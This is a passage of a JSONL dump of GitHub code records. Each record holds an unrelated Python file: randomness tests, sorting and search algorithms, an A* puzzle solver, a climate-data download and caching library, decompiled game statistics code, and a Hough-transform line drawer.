p_threshold\n self.n = len(bits)\n\n self.J = None\n self.counts = []\n self.p_list = []\n\n self.p = None # p value\n self.success = None\n self.test_run = False\n\n self.check_enough_bits()\n\n if self.enough_bits: self.run_test()\n\n def check_enough_bits(self):\n self.enough_bits = MIN_BITS <= self.n\n\n def run_test(self):\n\n self.normed_bits = [bit*2-1 for bit in self.bits] # conversion of every 0 to -1\n self.psums = self.get_psums()\n self.psums_padded = [0] + self.psums + [0]\n self.J = sum([1 for v in self.psums_padded[1:] if v == 0])\n self.get_counts()\n self.p_list = [self.calc_p(idx) for idx in range(-9,10)]\n self.p_list.pop(9)\n\n self.p = self.p_list[8]\n self.success = (self.p >= self.p_threshold)\n self.test_run = True\n\n def get_counts(self):\n self.counts = [0 for i in range(19)]\n for v in self.psums_padded:\n if abs(v) < 10: self.counts[v+9] += 1\n\n def get_psums(self):\n pos = 0\n psums = []\n for bit in self.normed_bits:\n pos += bit\n psums.append(pos)\n return psums\n\n def calc_p(self,idx):\n if idx == 0: return 1\n numerator = abs(self.counts[idx+9]-self.J)\n denominator = np.sqrt(2.0*self.J*(4.0*abs(idx)-2.0))\n p = sp.erfc(numerator / denominator)\n return p\n\nif __name__ == '__main__':\n import sys\n sys.path.append('../')\n import utils\n\n bits = utils.e[:1000000]\n REV = RandomExcursionsVariant(bits)\n print(REV.p_list[8]) # p = 0.826009\n","repo_name":"croningp/xtl-rng","sub_path":"analysis/randomness_testing/tests/15_random_excursion_variant_test.py","file_name":"15_random_excursion_variant_test.py","file_ext":"py","file_size_in_byte":2251,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23502386397","text":"\"\"\"Given an array of integers of size ‘n’, calculate the maximum sum of ‘k’ \nconsecutive elements in the array.\n\"\"\"\n\ndef max_sum(array, k):\n if len(array) < k:\n return None\n if len(array) == k:\n return sum(array)\n max_sum = sum(array[:k])\n for i in range(1, len(array) - k + 1):\n current_sum = max_sum - array[i - 1] + array[i + k - 1]\n if current_sum > max_sum:\n max_sum = current_sum\n return max_sum\n\nif __name__ == \"__main__\":\n arr = [1, 4, 2, 10, 23, 3, 1, 0, 20]\n assert max_sum(arr, 4) == 39 # Adding subarray [4, 2, 10, 23]\n assert max_sum([100, 200, 300, 400], 2) == 700\n assert max_sum([2, 3], 2) == 5\n assert max_sum([2, 3], 3) == None\n\n","repo_name":"ntrang086/python_snippets","sub_path":"sliding_window/max_sum_k_elements.py","file_name":"max_sum_k_elements.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"43935911405","text":"import os\nimport threading\nimport time\n\n\ndef moveFile(fileDir):\n sample_type_list = list()\n if os.path.isdir(fileDir):\n fileList = os.listdir(fileDir)\n while True:\n for sample_image in fileList:\n sample_split = sample_image.split('_')\n sample_type = sample_split[1]\n if sample_type not in sample_type_list:\n time.sleep(0.05)\n sample_type_list.append(sample_type)\n print(len(sample_type_list))\n if len(sample_type_list) % 200 == 0:\n for pathDir_detail in fileList:\n if sample_type in pathDir_detail:\n file_sample = fileDir + '\\\\' + pathDir_detail\n target_sample = public_path + r'/test/' + i + '/'\n if not os.path.exists(target_sample):\n os.makedirs(target_sample)\n sample_result = os.path.join(target_sample, pathDir_detail)\n with open(file_sample, 'rb') as readStream:\n container = readStream.read()\n with open(sample_result, 'wb') as writeStream:\n writeStream.write(container)\n\n\nif __name__ == '__main__':\n public_path = r'E:\\workImages\\图片过滤与修改时间'\n target = public_path + r'\\result'\n fileDir_child = os.listdir(target)\n for i in fileDir_child:\n copy_sample = target + '/' + i\n moveFile(copy_sample)\n # threading.Thread(target=moveFile, args=(copy_sample,)).start()\n","repo_name":"showyouhappiness/Python_study","sub_path":"OS/extract_pictures.py","file_name":"extract_pictures.py","file_ext":"py","file_size_in_byte":1671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26123000474","text":"from django.test import TestCase\nfrom destinos.models import cotizacion\n\n\nclass UsuarioModelTest(TestCase):\n @classmethod\n def setUpTestData(cls):\n cotizacion.objects.create(nombre = \"elyeferson\",rut=\"20052182k\",email=\"mati_x@hotmail.com\",mensaje=\"hot hot hot\")\n def test_nombre_label(self):\n\n cot= cotizacion.objects.get(rut = '20052182k')\n field_label = cot._meta.get_field('nombre').verbose_name\n self.assertEquals(field_label,'nombre')","repo_name":"Scarpig/Encargo3","sub_path":"destinos/test/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74228039235","text":"import re\nimport sys\nimport os\n\nclass Utility:\n @staticmethod\n def matchNamingConvention(name: str) -> None:\n \"\"\"\n exits on fail\n \"\"\"\n name_pattern = re.compile(r'^[a-z_\\.]+$')\n if not name_pattern.match(name):\n print('Patterns don\\'t match')\n sys.exit()\n\n @staticmethod\n def checkNotOccupied(name: str, folder_path: str):\n \"\"\"\n exits on fail\n \"\"\"\n nodes = os.listdir(folder_path)\n for node in nodes:\n if node == name:\n print('Name already existing at target-folder')\n sys.exit()","repo_name":"LeonFretter/godot_tools","sub_path":"src/Utility.py","file_name":"Utility.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"72906762755","text":"class Solution:\n def canJump(self, nums):\n return self.solve(nums, 0)\n\n def solve(self, nums, pos):\n ret = 0\n save_pos = 0\n cur_jump = nums[pos]\n if cur_jump + pos >= len(nums) - 1:\n return True\n for i in range(pos + 1, pos + cur_jump + 1):\n if nums[i] + i >= ret:\n ret = nums[i] + i\n save_pos = i\n if ret == 0:\n return False\n\n return self.solve(nums, save_pos)\n\n\n# nums = [1, 1, 2, 2, 0, 1, 1]\nsol = Solution()\nnums = [4, 2, 5, 0, 1, 0, 4, 4, 4, 0, 4, 0]\nprint(sol.canJump(nums))\n","repo_name":"RogueTMs/Algo","sub_path":"Task32.py","file_name":"Task32.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20461378926","text":"from collections import namedtuple\nfrom interactions import ParticipantType\nfrom sims4.utils import classproperty, flexmethod, flexproperty\nimport caches\nimport enum\nimport sims4.log\nimport sims4.math\n__unittest__ = 'test.statistics.base_statistic_tests'\nlogger = sims4.log.Logger('SimStatistics')\n\nclass StatisticChangeDirection(enum.Int):\n __qualname__ = 'StatisticChangeDirection'\n INCREASE = 0\n DECREASE = 1\n BOTH = 2\n\nclass BaseStatistic:\n __qualname__ = 'BaseStatistic'\n decay_rate = 0.0\n _utility_curve = None\n SkillBasedMultiplier = namedtuple('SkillBasedMultiplier', ['curve', 'use_effective_skill'])\n _skill_based_statistic_multipliers_increase = {}\n _skill_based_statistic_multipliers_decrease = {}\n\n def __init__(self, tracker, initial_value):\n self._tracker = tracker\n self._value = initial_value\n self._locked = 0\n self._statistic_modifier = 0\n self._statistic_modifiers = []\n self._statistic_multiplier_increase = 1.0\n self._statistic_multiplier_decrease = 1.0\n self._statistic_multipliers = []\n\n def __repr__(self):\n statistic_type_name = type(self).__mro__[1].__name__\n statistic_instance_name = type(self).__name__\n return '{}({}@{})'.format(statistic_type_name, statistic_instance_name, self._value)\n\n @classproperty\n def max_value(cls):\n raise NotImplementedError\n\n @classproperty\n def min_value(cls):\n raise NotImplementedError\n\n @classproperty\n def persisted(cls):\n raise NotImplementedError\n\n @classproperty\n def stat_type(cls):\n return cls\n\n @classmethod\n def type_id(cls):\n return cls.guid64\n\n @classmethod\n def get_skill_based_statistic_multiplier(cls, targets, add_amount):\n multiplier = 1\n if add_amount < 0:\n if cls not in cls._skill_based_statistic_multipliers_decrease:\n return multiplier\n skill_map = cls._skill_based_statistic_multipliers_decrease.get(cls)\n else:\n if cls not in cls._skill_based_statistic_multipliers_increase:\n return multiplier\n skill_map = cls._skill_based_statistic_multipliers_increase.get(cls)\n for target in targets:\n for skill_type in skill_map:\n skill = target.get_stat_instance(skill_type)\n while skill is not None:\n modifier = skill_map[skill_type]\n if modifier.use_effective_skill:\n value = target.Buffs.get_effective_skill_level(skill)\n else:\n value = skill.get_user_value()\n multiplier *= modifier.curve.get(value)\n return multiplier\n\n @classmethod\n def add_skill_based_statistic_multiplier(cls, skill_type, curve, direction, use_effective_skill):\n increase_dict = cls._skill_based_statistic_multipliers_increase\n decrease_dict = cls._skill_based_statistic_multipliers_decrease\n if direction != StatisticChangeDirection.DECREASE:\n if cls not in increase_dict:\n increase_dict[cls] = {}\n increase_dict[cls][skill_type] = cls.SkillBasedMultiplier(curve, use_effective_skill)\n if direction != StatisticChangeDirection.INCREASE:\n if cls not in decrease_dict:\n decrease_dict[cls] = {}\n decrease_dict[cls][skill_type] = cls.SkillBasedMultiplier(curve, use_effective_skill)\n\n @classproperty\n def continuous(self):\n return False\n\n def get_statistic_multiplier_increase(self):\n return self._statistic_multiplier_increase\n\n def get_statistic_multiplier_decrease(self):\n return self._statistic_multiplier_decrease\n\n def on_add(self):\n pass\n\n def on_remove(self, on_destroy=False):\n owner = self._tracker.owner if self._tracker is not None else None\n if owner is not None and not owner.is_sim:\n self._tracker = None\n\n @property\n def tracker(self):\n return self._tracker\n\n def get_asm_param(self, *_):\n return (None, None)\n\n @flexmethod\n def get_value(cls, inst):\n if inst is not None:\n return inst._value\n return cls.default_value\n\n @flexmethod\n def get_saved_value(cls, inst):\n cls_or_inst = inst if inst is not None else cls\n value = cls_or_inst.get_value()\n return value\n\n def set_value(self, value, **kwargs):\n old_value = self._value\n self._value = value\n self._clamp()\n if old_value != self._value and self._tracker is not None:\n self._tracker.notify_watchers(self.stat_type, old_value, self._value)\n caches.clear_all_caches()\n\n def add_value(self, add_amount, interaction=None, min_value=None, max_value=None, **kwargs):\n if self.tracker is not None and self.tracker.owner is not None and self.tracker.owner.is_locked(self):\n return\n multiplier = 1\n if interaction is not None:\n sims = interaction.get_participants(ParticipantType.AllSims)\n multiplier = self.get_skill_based_statistic_multiplier(sims, add_amount)\n if add_amount < 0:\n multiplier *= self.get_statistic_multiplier_decrease()\n else:\n multiplier *= self.get_statistic_multiplier_increase()\n new_value = self.get_value() + add_amount*multiplier\n self.set_value(new_value, **kwargs)\n\n def get_user_value(self):\n return self.convert_to_user_value(self.get_value())\n\n def set_user_value(self, value):\n self.set_value(self.convert_from_user_value(value))\n\n def add_statistic_modifier(self, value):\n if value == 0:\n logger.warn('Attempting to add statistic modifier with value zero to {}', self)\n return\n logger.debug('Adding statistic modifier of {} to {}', value, self)\n self._statistic_modifiers.append(value)\n self._on_statistic_modifier_changed()\n\n def remove_statistic_modifier(self, value):\n if value in self._statistic_modifiers:\n logger.debug('Removing statistic modifier of {} from {}', value, self)\n self._statistic_modifiers.remove(value)\n if self._statistic_modifiers:\n pass\n else:\n self._statistic_modifier = 0\n self._on_statistic_modifier_changed()\n\n def _recalculate_statistic_multiplier(self, value):\n if value.apply_direction == StatisticChangeDirection.BOTH or value.apply_direction == StatisticChangeDirection.INCREASE:\n pass\n if value.apply_direction == StatisticChangeDirection.BOTH or value.apply_direction == StatisticChangeDirection.DECREASE:\n pass\n\n def add_statistic_multiplier(self, value):\n logger.debug('Adding statistic multiplier of {} to {}', value, self)\n self._statistic_multipliers.append(value)\n self._recalculate_statistic_multiplier(value)\n self._on_statistic_modifier_changed(notify_watcher=self._statistic_modifier != 0)\n\n def remove_statistic_multiplier(self, value):\n if value in self._statistic_multipliers:\n logger.debug('Removing statistic multiplier of {} from {}', value, self)\n self._statistic_multipliers.remove(value)\n if self._statistic_multipliers:\n if value.multiplier == 0:\n self._statistic_multiplier_increase = 1.0\n self._statistic_multiplier_decrease = 1.0\n while True:\n for statistic_multiplier in self._statistic_multipliers:\n self._recalculate_statistic_multiplier(statistic_multiplier)\n if value.apply_direction == StatisticChangeDirection.BOTH or value.apply_direction == StatisticChangeDirection.INCREASE:\n pass\n elif value.apply_direction == StatisticChangeDirection.BOTH or value.apply_direction == StatisticChangeDirection.INCREASE:\n pass\n else:\n self._statistic_multiplier_increase = 1.0\n self._statistic_multiplier_decrease = 1.0\n self._on_statistic_modifier_changed(notify_watcher=self._statistic_modifier != 0)\n\n def _on_statistic_modifier_changed(self, notify_watcher=True):\n if notify_watcher and self._tracker is not None:\n self._tracker.notify_watchers(self.stat_type, self._value, self._value)\n\n @classproperty\n def default_value(cls):\n return 0\n\n @classproperty\n def default_user_value(cls):\n return cls.default_value\n\n @classmethod\n def convert_to_user_value(cls, value):\n return value\n\n @classmethod\n def convert_from_user_value(cls, user_value):\n return user_value\n\n @property\n def core(self):\n return False\n\n @property\n def is_visible(self):\n return False\n\n @classproperty\n def is_scored(cls):\n if cls._utility_curve:\n return True\n return False\n\n @flexproperty\n def autonomous_desire(cls, inst):\n this = inst if inst is not None else cls\n if this._utility_curve:\n return this._utility_curve.get(this.get_value())\n return 0\n\n @classproperty\n def autonomy_weight(cls):\n return 1\n\n @classproperty\n def use_stat_value_on_initialization(cls):\n return True\n\n def lock(self):\n pass\n\n def unlock(self):\n if self._locked > 0:\n pass\n else:\n logger.warn('BaseStatistic._locked variable became out of sync.')\n\n @classmethod\n def clamp(cls, value):\n return sims4.math.clamp(cls.min_value, value, cls.max_value)\n\n def _clamp(self, value=None):\n if value is None:\n value = self._value\n self._value = sims4.math.clamp(self.min_value, value, self.max_value)\n\n @classmethod\n def _build_utility_curve_from_tuning_data(cls, data, weight=1):\n if data:\n point_list = [(point.x, point.y) for point in data]\n cls._utility_curve = sims4.math.WeightedUtilityCurve(point_list, max_y=1, weight=weight)\n\n @classmethod\n def can_add(cls, owner):\n return True\n\n @classproperty\n def is_skill(cls):\n return False\n\n @classproperty\n def add_if_not_in_tracker(cls):\n return True\n\n def create_callback(self, threshold, callback, repeating=False, on_callback_alarm_reset=None):\n pass\n\n @classmethod\n def get_categories(cls):\n return ()\n\n @classproperty\n def valid_for_stat_testing(cls):\n return False\n\n","repo_name":"johndpope/sims4-ai-engine","sub_path":"simulation/statistics/base_statistic.py","file_name":"base_statistic.py","file_ext":"py","file_size_in_byte":10664,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"61"} +{"seq_id":"17712884941","text":"\"\"\"\nLibrary of functions/methods that are worth reusing and so shared across multiple\nprojects.\n\"\"\"\nimport pathlib\nimport cftime\nimport pandas as pd\nimport requests\nimport io\nimport platform\nimport shutil\nimport functools # for cache\nimport xarray\nimport matplotlib.pyplot as plt\n\n\ndef high_resoln():\n \"\"\"\n Set up matplotlib for high resolution screen where want to make things about 75% larger.\n I think needed because windows default dpi means 100% scaling.\n Will close all existing figures.\n :return: nada\n \"\"\"\n plt.close('all')\n plt.matplotlib.rcParams['figure.dpi'] = 175 # make figures 75% bigger.\n\ndef read_cet(file=None, retrieve=False, direct='data', mean='seasonal', temp_type='mean'):\n \"\"\"\n\n :param file: name of file to use. If None then file name will be constructed\n :param retrieve: If true (default is False) retrieve data. Otherwise, read local data.\n If local data does not exist then data will be retrieved.\n\n :param direct: name of directory where data to be retrieved to or read from.\n :param mean: What mean to be retrieved. (seasonal|monthly|daily)\n :param temp_type: What temp_type of CET to be retrieved (mean|max|min)\n :return: xarray\n \"\"\"\n mo_cet_root = 'https://www.metoffice.gov.uk/hadobs/hadcet/data/legacy'\n urls = dict(dailymean='cetdl1772on.dat',\n monthlymean='cetml1659on.dat',\n seasonalmean='ssn_HadCET_mean.txt',\n dailymin='cetmindly1878on_urbadj4.dat',\n monthlymin='cetminmly1878on_urbadj4.dat',\n seasonalmin='sn_HadCET_min.txt',\n dailymax='cetmaxdly1878on_urbadj4.dat',\n monthlymax='cetmaxmly1878on_urbadj4.dat',\n seasonalmax='sn_HadCET_max.txt',\n )\n\n nskip = dict(monthly=8, seasonal=10, daily=0)\n month_lookups = dict(JAN=1, FEB=2, MAR=3, APR=4, MAY=5, JUN=6, JUL=7, AUG=8, SEP=9, OCT=10, NOV=11, DEC=12,\n DJF=1, MAM=4, JJA=7, SON=10) # month\n\n if file is None:\n file = f\"cet_{mean}_{temp_type}.nc\"\n path = pathlib.Path(direct) / file\n if (not path.exists()) or retrieve:\n # retrieve data from MO.\n url = mo_cet_root + '/' + urls[\n mean + temp_type] # will trigger an error mean or temp_type not as expected though error won't be very helpful...\n print(f\"Retrieving data from {url}\")\n headers = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0'} # fake we are interactive...\n r = requests.get(url, headers=headers)\n rdata = io.StringIO(r.text)\n data = pd.read_csv(rdata, skiprows=nskip.get(mean, 0), header=[0], sep=r'\\s+', na_values=[-99.9])\n # need to use cftime to make time-coords... so all a bit of a pain! and will be doubly so for daily data...\n dates = []\n values = []\n for c in data.columns:\n month = month_lookups.get(c)\n if month is None:\n continue\n if temp_type == 'daily':\n raise Exception(f\"Can't handle {temp_type} data\")\n else:\n dates.extend([cftime.datetime(yr, month, 1, calendar='gregorian') for yr in data.Year])\n values.extend(data.loc[:, c].values)\n ts = xarray.DataArray(values, coords=dict(time=dates)).rename(f'CET{mean}{temp_type}').sortby('time')\n pathlib.Path(direct).mkdir(parents=True, exist_ok=True) # make (if needed directory to put the data\n ts.to_netcdf(path) # write out the data.\n else:\n # just retrieve the cached data.\n ts = xarray.load_dataarray(path)\n\n return ts\n\n\ndef saveFig(fig, name=None, savedir=None, figtype=None, dpi=None):\n \"\"\"\n :param fig -- figure to save\n :param name (optional) set to None if undefined\n :param savedir (optional) directory as a pathlib. Path to save figure to . Default is figures\n :param figtype (optional) temp_type of figure. (If nto specified then png will\n \"\"\"\n\n defFigType = '.png'\n if dpi is None:\n dpi = 300\n # set up defaults\n if figtype is None:\n figtype = defFigType\n # work out sub_plot_name.\n if name is None:\n fig_name = fig.get_label()\n else:\n fig_name = name\n\n if savedir is None:\n savedir = pathlib.Path('figures') # always relative to where we are\n # possibly create the savedir.\n savedir.mkdir(parents=True, exist_ok=True) # create the directory\n\n outFileName = savedir / (fig_name + figtype)\n fig.savefig(outFileName, dpi=dpi)\n\n\nclass plotLabel:\n \"\"\"\n Class for plotting labels on sub-plots\n \"\"\"\n\n def __init__(self, upper=False, roman=False, fontdict={}):\n \"\"\"\n Make instance of plotLabel class\n parameters:\n :param upper -- labels in upper case if True\n :param roman -- labels use roman numbers if True\n \"\"\"\n\n import string\n if roman: # roman numerals\n strings = ['i', 'ii', 'iii', 'iv', 'v', 'vi', 'vii', 'viii', 'ix', 'x', 'xi', 'xii']\n else:\n strings = [x for x in string.ascii_lowercase]\n\n if upper: # upper case if requested\n strings = [x.upper() for x in strings]\n\n self.strings = strings[:]\n self.num = 0\n self.fontdict = fontdict\n\n def label_str(self):\n \"\"\"\n Return the next label\n \"\"\"\n string = self.strings[self.num] + \" )\"\n self.num += 1\n self.num = self.num % len(self.strings)\n return string\n\n def plot(self, ax=None, where=None):\n \"\"\"\n Plot the label on the current axis.\n :param ax -- axis to plot on. Default is current axis (using plt.gca())\n :param where -- (x,y) tuple saying where to plot label using axis coords. Default is (-0.03,1.03)\n \"\"\"\n\n if ax is None:\n plt_axis = plt.gca()\n else:\n plt_axis = ax\n try:\n if plt_axis.size > 1: # got more than one element\n for a in plt_axis.flatten():\n self.plot(ax=a, where=where)\n return\n except AttributeError:\n pass\n\n # now go and do the actual work!\n\n text = self.label_str()\n if where is None:\n x = -0.03\n y = 1.03\n else:\n (x, y) = where\n\n plt_axis.text(x, y, text, transform=plt_axis.transAxes,\n horizontalalignment='right', verticalalignment='bottom', fontdict=self.fontdict)\n\n# cache handling\ncache_dirs=dict()\ndef setup_cache(config_dict):\n cache_dirs.update(config_dict)\n\ndef gen_cache_file(filepath,verbose=False):\n \"\"\"\n Generate a cache file path from filepath\n :param filepath: filepath on slow file system\n :return:cached filepath.\n \"\"\"\n\n #cache_dir =\n fileName=str(filepath)\n cache_file= filepath # if nothing found then we just return the filepath\n for dir_name,cache_name in cache_dirs.items():\n if dir_name in fileName:\n cache_file = fileName.replace(dir_name,cache_name)\n cache_file = pathlib.Path(cache_file)\n if verbose:\n print(f\"Replaced {dir_name} with {cache_name} for {fileName}\")\n continue # no need to process more\n return cache_file\n\n\n@functools.cache\ndef cache_filename(filepath:pathlib.Path,verbose=False,use_cache=None):\n \"\"\"\n Generate local cache. If the local cache does not exist then copy filepath to it.\n Returns the cache filename (which might be the same as filepath)\n Uses functools.cache so second (or subsequent) time ran in a session will just return the cached filepath\n :param use_cache: Logical -- If True use cache. If None then if on specified platform.node use cache.\n :param verbose: If True be verbose\n :param filepath: path to the file.\n :return: file read\n \"\"\"\n if use_cache is None:\n use_cache = (platform.node() in ['geos-w-048'] ) # list of platforms where want to cache\n if not use_cache: # not using cache -- just return the input\n if verbose:\n print(\"Not using cache \")\n return filepath\n\n cache_file = gen_cache_file(filepath)\n\n if cache_file.exists() and (not filepath.exists()): # cache exists and filepath doesn't.\n if verbose:\n print(f\"Cache file: {cache_file} exists while {filepath} does not\")\n elif not (cache_file.exists() and (cache_file.stat().st_mtime > filepath.stat().st_mtime)):\n # Want to use cache_file if it exists and its mtime is greater than the mtime of the file being cached\n if verbose:\n print(f\"Copying data from {filepath} to {cache_file}\")\n cache_file.parent.mkdir(parents=True,exist_ok=True) # make the cache dir if neeed.\n shutil.copy(filepath,cache_file)\n if verbose:\n print(f\"Cache file is {cache_file}\")\n\n return cache_file # return cached file.\n","repo_name":"chrisroblong/StonehavenRain","sub_path":"commonLib.py","file_name":"commonLib.py","file_ext":"py","file_size_in_byte":8936,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6057036928","text":"\n\nclass SortingAlgorithms():\n \"\"\"\n Collection of basic sorting algorithms without use of special data structures\n \"\"\"\n\n\n def insertionsort(self, arr):\n \"\"\" Conducts insertion sort \"\"\"\n for x in range(1, len(arr)):\n y = x\n temp = arr[y]\n while y > 0 and temp < arr[y-1]:\n arr[y] = arr[y-1]\n y -= 1\n arr[y] = temp\n return arr\n\n\n def _merge(self, list1, list2):\n \"\"\" Merging function for mergesort \"\"\"\n res = []\n iterator1 = 0\n iterator2 = 0\n\n while iterator1 < len(list1) or iterator2 < len(list2):\n if iterator1 >= len(list1):\n res += list2[iterator2:]\n break\n if iterator2 >= len(list2):\n res += list1[iterator1:]\n break\n\n if list1[iterator1] < list2[iterator2]:\n res.append(list1[iterator1])\n iterator1 += 1\n else:\n res.append(list2[iterator2])\n iterator2 += 1\n\n return res\n\n\n def mergesort(self, arr):\n \"\"\" Conducts merge sort \"\"\"\n if len(arr) <= 1:\n return arr\n\n mid = len(arr) // 2\n left = self.mergesort(arr[:mid])\n right = self.mergesort(arr[mid:])\n return self._merge(left, right)\n\n\n def quicksort(self, arr):\n \"\"\" Conducts quicksort \"\"\"\n if len(arr) <= 1:\n return arr\n\n pivot = arr[-1]\n left = 0\n right = len(arr)-2\n\n while left <= right:\n while left <= right and arr[left] < pivot:\n left += 1\n while left <= right and arr[right] > pivot:\n right -= 1\n\n if left <= right:\n temp = arr[left]\n arr[left] = arr[right]\n arr[right] = temp\n left += 1\n right -= 1\n\n arr[-1] = arr[left]\n arr[left] = pivot\n\n return self.quicksort(arr[:left]) + [pivot] + self.quicksort(arr[left+1:])\n","repo_name":"jerrguo/prep","sub_path":"sorting_algorithms.py","file_name":"sorting_algorithms.py","file_ext":"py","file_size_in_byte":2068,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2186196811","text":"from NodeBoard import node_board\nimport copy\nfrom heapq import heappush, heappop, heapify\nfrom util import *\nfrom h1 import heuristic_h1\nfrom h2 import heuristic_h2\nfrom h3 import heuristic_h3\nfrom h4 import heuristic_h4\nfrom h5 import heuristic_h5\n\nexpected_values = [1, 5, 9, 13, 2, 6, 10, 14, 3, 7, 11, 15, 4, 8, 12, 0]\nfinal_board = [['1', '5', '9', '13'], ['2', '6', '10', '14'], ['3', '7', '11', '15'], ['4', '8', '12', '0']]\n\ndef algorithm_astar(initial_board):\n global final_board\n global expected_values\n\n ## criando estruturas A e F como dicionários para conseguir referenciar melhor\n A = {}\n F = {}\n\n heap_management = []\n\n # criando uma estrutura heap que servirá para realizar operações otimizadas no A e F\n heapify(heap_management)\n\n # inicia a lista de nós abertos\n initial_white_space = get_white_sace(initial_board)\n initial_node = node_board(initial_board, initial_white_space, None)\n\n A[str(initial_board)] = initial_node\n heappush(heap_management, (A[str(initial_board)].g_cost + A[str(initial_board)].h_cost, str(initial_board)))\n\n current_node = initial_node\n while A:\n ## recuperar o nó com o menor custo total\n current_node = get_node_less_total_cost(heap_management, A)\n\n ## Achou o caminho final, deve construir esse caminho\n if current_node.board_state == final_board:\n return get_final_path(current_node, initial_board)\n\n A.pop(str(current_node.board_state))\n F[str(current_node.board_state)] = current_node\n\n successors_nodes = generate_successors(current_node)\n \n for successor_node in successors_nodes:\n successor_node_converted = str(successor_node.board_state)\n\n if successor_node_converted in F: pass\n\n if successor_node_converted not in A and successor_node_converted not in F:\n A[successor_node_converted] = successor_node\n A[successor_node_converted].h_cost = heuristic_h3(successor_node, final_board)\n heappush(heap_management, (A[successor_node_converted].g_cost + A[successor_node_converted].h_cost, successor_node_converted))\n\n if successor_node_converted in A and A[successor_node_converted].g_cost > successor_node.g_cost:\n A.pop(successor_node_converted)\n\n return None\n \ndef main():\n entry = input().split(\" \")\n\n # criar base do tabuleiro (4x4) com valores iniciais 0\n board = [[0 for i in range(4)] for i in range(4)]\n\n pos = 1\n\n # atribuir os valores de entrada para cada posição do tabuleiro\n for i in range(4):\n for j in range(4):\n board[i][j] = entry[pos]\n pos = pos + 1\n\n print(len(algorithm_astar(board)) - 1)\n\nmain()","repo_name":"HudsonJunior/a-star","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73708406274","text":"#!/usr/bin/env python\n\nimport optparse, os, subprocess, re\n\n#This script reads in a score matrix and outputs sets of \"enriched\" probes designed from a given taxon\n\ndef main():\n usage = '%prog [options]'\n p = optparse.OptionParser()\n p.add_option('-m', '--matrix', help='Score matrix. [None, REQ]')\n p.add_option('-s', '--samps', help='File with sample names to keep. Can also provide these as arguments [OPT]')\n p.add_option('-o', '--out', help='Name for output file [None, REQ]')\n\n opts, args = p.parse_args()\n \n #Read in Score Matrix\n scoreD = parseCounts(opts.matrix)\n \n if opts.samps:\n sampNames = filelist(opts.samps)\n else:\n sampNames = args\n \n subMat = {x:scoreD[x] for x in sampNames}\n writeCounts(subMat, opts.out)\n\n#----------------------End of main()\n\n\ndef filelist(file):\n l=[]\n with open(file, \"r\") as fin:\n for line in fin:\n l.append(line.strip(\"\\n\"))\n return l\n\ndef parseCounts(countFile, delim=\"\\t\"):\n counts={}\n with open(countFile, \"r\") as fin:\n lc=0\n for line in fin:\n lc+=1\n cols=line.rstrip(\"\\n\").split(delim)\n if lc == 1:\n names = cols[1:]\n for n in names:\n counts[n]={}\n else:\n for i, count in enumerate(cols[1:]):\n counts[names[i]][cols[0]] = float(count)\n return counts\n\ndef writeCounts(cd, outname):\n probeNames = sorted(cd[list(cd.keys())[0]].keys())\n sampNames = sorted(list(cd.keys()))\n with open(outname, \"w\") as fout:\n fout.write(\"Probe\\t%s\\n\" % (\"\\t\".join(sampNames)))\n for each in probeNames:\n fout.write(\"%s\\t%s\\n\" % (each, \"\\t\".join([str(cd[x][each]) for x in sampNames])))\n###------------------------------------->>>> \n\nif __name__ == \"__main__\":\n main()\n","repo_name":"LadnerLab/PepSIRF","sub_path":"extensions/subMatrix.py","file_name":"subMatrix.py","file_ext":"py","file_size_in_byte":1871,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"61"} +{"seq_id":"17240615156","text":"\n# coding: utf-8\n\n# In[1]:\n\n\nimport numpy as np\nimport cv2\nfrom matplotlib import pyplot as plt\nimport math\nfrom math import sqrt\n\n\n# ###### Reference: https://github.com/alyssaq/hough_transform/blob/master/hough_transform.py\n\n# In[2]:\n\n\ndef angled(image,accumulator, theta, r):\n \n idx1 = np.argsort(accumulator.ravel(), axis=None)[-25:] \n idx2= np.argsort(accumulator.ravel(), axis=None)[-50:-21]\n idx= np.hstack((idx1,idx2))\n rho = r[idx // accumulator.shape[1]]\n theta_1 = theta[idx % accumulator.shape[1]]\n\n for r, t in zip(rho,theta_1):\n a = np.cos(t)\n b = np.sin(t)\n x0 = a*r\n y0 = b*r\n x1 = int(x0 + 1000*(-b))\n y1 = int(y0 + 1000*(a))\n x2 = int(x0 - 1000*(-b))\n y2 = int(y0 - 1000*(a))\n cv2.line(image, (x1,y1),(x2,y2),(255,0,0),2)\n plt.imshow(image)\n return image\n\n\n# In[3]:\n\n\ndef vertical(image,accumulator, theta, r):\n idx = np.argsort(accumulator.ravel(), axis=None)[-25:-15] #-50:-47\n rho = r[idx // accumulator.shape[1]]\n theta_1 = theta[idx % accumulator.shape[1]]\n\n for r, t in zip(rho,theta_1):\n a = np.cos(t)\n b = np.sin(t)\n x0 = a*r\n y0 = b*r\n x1 = int(x0 + 1000*(-b))\n y1 = int(y0 + 1000*(a))\n x2 = int(x0 - 1000*(-b))\n y2 = int(y0 - 1000*(a))\n cv2.line(image, (x1,y1),(x2,y2),(0,0,255),2)\n plt.imshow(image) \n return image\n \n\n\n# In[6]:\n\n\nimage= 